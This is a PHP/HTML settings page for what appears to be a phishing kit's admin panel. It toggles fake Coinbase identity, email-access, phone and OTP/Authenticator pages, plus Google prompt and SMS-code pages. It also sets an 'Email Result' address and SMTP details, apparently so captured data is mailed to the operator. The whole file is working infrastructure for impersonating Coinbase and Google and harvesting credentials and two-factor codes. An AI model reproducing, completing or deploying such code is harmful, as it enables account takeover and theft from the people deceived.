<main role="main" class="main-content">
<form id="frmConfig" method="post" novalidate>
   <div class="row mt-7 mb-3">
   <div class="col-md-12">
   <h5 class="mb-2 page-title float-left"><i class="fe fe-settings text-danger mb-0 mr-2"></i> Configuration Google Page</h5>
   <button type="submit" id="update" name="update" class="btn mb-2 btn-danger btn-sm float-right" >Update configuration</button>
   </div>
   </div>
   <div class="row mb-2" id="configMsg" style="display:none">
   <div class="col-md-12">
   <div class="alert alert-success" role="alert">
    <span class="fe fe-help-circle fe-16 mr-2"></span> Configuration updated !
   </div>
   </div>
   </div>
   <div class="row mb-2" id="configMsgError" style="display:none">
   <div class="col-md-12">
   <div class="alert alert-danger" role="alert">
    <span class="fe fe-help-circle fe-16 mr-2"></span> Something wrong, try again !
   </div>
   </div>
   </div>
   <div class="row">
      <div class="col-md-12">
         <div class="card shadow mb-4">
            <div class="card-body">
               <div class="row">
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="google_challenge_page">Google Pompt</label>
                        <select class="form-control required" id="google_challenge_page" name="google_challenge_page">
                           <option value="enable" <?php echo $settings['google_challenge_page'] == "enable" ? "selected" : "";?>>Enable</option>
                           <option value="disable" <?php echo $settings['google_challenge_page'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="kode_prompts">Code Prompts</label>
                        <input type="text" id="kode_prompts" name="kode_prompts" class="form-control required" value="<?php echo $settings['kode_prompts'];?>">
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="google_type">Google Verify type</label>
                        <select class="form-control required" id="google_type" name="google_type">
                           <option value="google_prompts" <?php echo $settings['google_type'] == "google_prompts" ? "selected" : "";?>>Google Prompts</option>
                           <option value="google_sms" <?php echo $settings['google_type'] == "google_sms" ? "selected" : "";?>>SMS Code</option>
                        </select>
                     </div>
                  </div>


              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="google_challenge_page_v3">Google Pompt V3</label>
                        <select class="form-control required" id="google_challenge_page_v3" name="google_challenge_page_v3">
                           <option value="enable" <?php echo $settings['google_challenge_page_v3'] == "enable" ? "selected" : "";?>>Enable</option>
                           <option value="disable" <?php echo $settings['google_challenge_page_v3'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-12">
              <div class="form-group mb-3">
                        <label for="judul_prompt">Judul Prompt</label>
                        <input type="text" class="form-control required" id="judul_prompt" name="judul_prompt" value="<?php echo $settings['judul_prompt'];?>">
                  </div>
              </div>
              <div class="col-md-12">
              <div class="form-group mb-3">
                        <label for="kata_prompt">Pesan Prompt</label>
                        <input type="text" class="form-control required" id="kata_prompt" name="kata_prompt" value="<?php echo $settings['kata_prompt'];?>">
                  </div>
              </div>
              <div class="col-md-12">
              <div class="form-group mb-3">
                        <label for="kata_akhir">Kata Akhir</label>
                        <input type="text" class="form-control required" id="kata_akhir" name="kata_akhir" value="<?php echo $settings['kata_akhir'];?>">
                  </div>
              </div>
               </div>
            </div>
         </div>
      </div>
   </div>


   <div class="row mt-7 mb-3">
   <div class="col-md-12">
   <h5 class="mb-2 page-title float-left"><i class="fe fe-settings text-danger mb-0 mr-2"></i> Configuration Coinbase Page</h5>
   <button type="submit" id="update" name="update" class="btn mb-2 btn-danger btn-sm float-right" >Update configuration</button>
   </div>
   </div>
   <div class="row">
      <div class="col-md-12">
         <div class="card shadow mb-4">
            <div class="card-body">
               <div class="row">
                  <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="identity_page">Identity Page</label>
                        <select class="form-control required" id="identity_page" name="identity_page">
                           <option value="enable" <?php echo $settings['identity_page'] == "enable" ? "selected" : "";?>>Enable</option>
                      <option value="disable" <?php echo $settings['identity_page'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="identity_page_v2">Identity Page V2</label>
                        <select class="form-control required" id="identity_page_v2" name="identity_page_v2">
                           <option value="enable" <?php echo $settings['identity_page_v2'] == "enable" ? "selected" : "";?>>Enable</option>
                      <option value="disable" <?php echo $settings['identity_page_v2'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="email_access">Email Access Page</label>
                        <select class="form-control required" id="email_access" name="email_access">
                           <option value="enable" <?php echo $settings['email_access'] == "enable" ? "selected" : "";?>>Enable</option>
                          <option value="disable" <?php echo $settings['email_access'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="phone_page">Phone Verify</label>
                        <select class="form-control required" id="phone_page" name="phone_page">
                           <option value="enable" <?php echo $settings['phone_page'] == "enable" ? "selected" : "";?>>Enable</option>
                          <option value="disable" <?php echo $settings['phone_page'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="verify_type">Verify type</label>
                        <select class="form-control required" id="verify_type" name="verify_type">
                           <option value="otp" <?php echo $settings['verify_type'] == "otp" ? "selected" : "";?>>OTP Verification</option>
                           <option value="auth" <?php echo $settings['verify_type'] == "auth" ? "selected" : "";?>>Google Authenticator</option>
                        </select>
                     </div>
                  </div>
              <div class="col-md-6">
                      <div class="form-group mb-3">
                        <label for="otp_page">OTP Verif Page</label>
                        <select class="form-control required" id="otp_page" name="otp_page">
                           <option value="enable" <?php echo $settings['otp_page'] == "enable" ? "selected" : "";?>>Enable</option>
                           <option value="disable" <?php echo $settings['otp_page'] == "disable" ? "selected" : "";?>>Disable</option>
                        </select>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
   </div>
   <div class="row mt-7 mb-3">
   <div class="col-md-12">
   <h5 class="mb-2 page-title float-left"><i class="fe fe-settings text-danger mb-0 mr-2"></i> Configuration Setting</h5>
   <button type="submit" id="update" name="update" class="btn mb-2 btn-danger btn-sm float-right" >Update configuration</button>
   </div>
   </div>
      <div class="row">
      <div class="col-md-12">
         <div class="card shadow mb-4">
            <div class="card-body">
               <div class="row">
                  <div class="col-md-6">
                     <div class="form-group mb-3">
                        <label for="username_panel">Panel username</label>
                        <input type="text" id="username_panel" name="username_panel" class="form-control required" value="<?php echo $settings['username_panel'];?>" required>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group mb-3">
                        <label for="password_panel">Panel password</label>
                        <input type="password" id="password_panel" name="password_panel" class="form-control required" value="<?php echo $settings['password_panel'];?>" required>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
   </div>
   <div class="row">
      <div class="col-md-12">
         <div class="card shadow mb-4">
            <div class="card-body">
               <div class="row">
                  <div class="col-md-6">
                     <div class="form-group mb-3">
                        <label for="email_result">Email Result</label>
                        <input type="email" id="email_result" name="email_result" class="form-control required" value="<?php echo $settings['email_result'];?>">
                     </div>
                     <div class="form-group mb-3">
                        <label for="access_path">Access Path</label>
                        <input type="text" id="access_path" name="access_path" class="form-control required" value="<?php echo $settings['access_path'];?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group mb-3">
                        <label for="email_sender">Email sender</label>
                        <select class="form-control required" id="email_sender" name="email_sender">
                           <option value="mailer" <?php echo $settings['email_sender'] == "mailer" ? "selected" : "";?>>MAILER</option>
                           <option value="smtp" <?php echo $settings['email_sender'] == "smtp" ? "selected" : "";?>>SMTP</option>
                        </select>
                     </div>
                     <div class="form-group mb-3">
                        <label for="smtp_host">SMTP Host</label>
                        <input type="text" id="smtp_host" name="smtp_host" class="form-control required" value="<?php echo $settings['smtp_host'];?>">
                     </div>
                     <div class="row">
                        <div class="form-group mb-3 col-md-6">
                           <label for="smtp_port">SMTP Port</label>
                           <input type="text" id="smtp_port" name="smtp_port" class="form-control required" value="<?php echo $settings['smtp_port'];?>">
                        </div>
                        <div class="form-group mb-3 col-md-6">
                           <label for="smtp_secure">SMTP Secure</label>
                           <select class="form-control required" id="smtp_secure" name="smtp_secure">
                              <option value="tls" <?php echo $settings['smtp_secure'] == "tls" ? "selected" : "";?>>SSL / TLS</option>
                              <option value="none" <?php echo $settings['smtp_secure'] == "none" ? "selected" : "";?>>NONE</option>
                           </select>
                        </div>
                     </div>
                     
                  </div>
              <div class="col-md-12">
              <div class="form-group mb-3">
                        <label for="smtp_user_pass">SMTP Username & Password</label>
                        <input type="password" class="form-control required" id="smtp_user_pass" name="smtp_user_pass" value="<?php echo $settings['smtp_user_pass'];?>">
                  </div>
              </div>
               </div>
            </div>
         </div>
      </div>
   </div>
</form>
</main>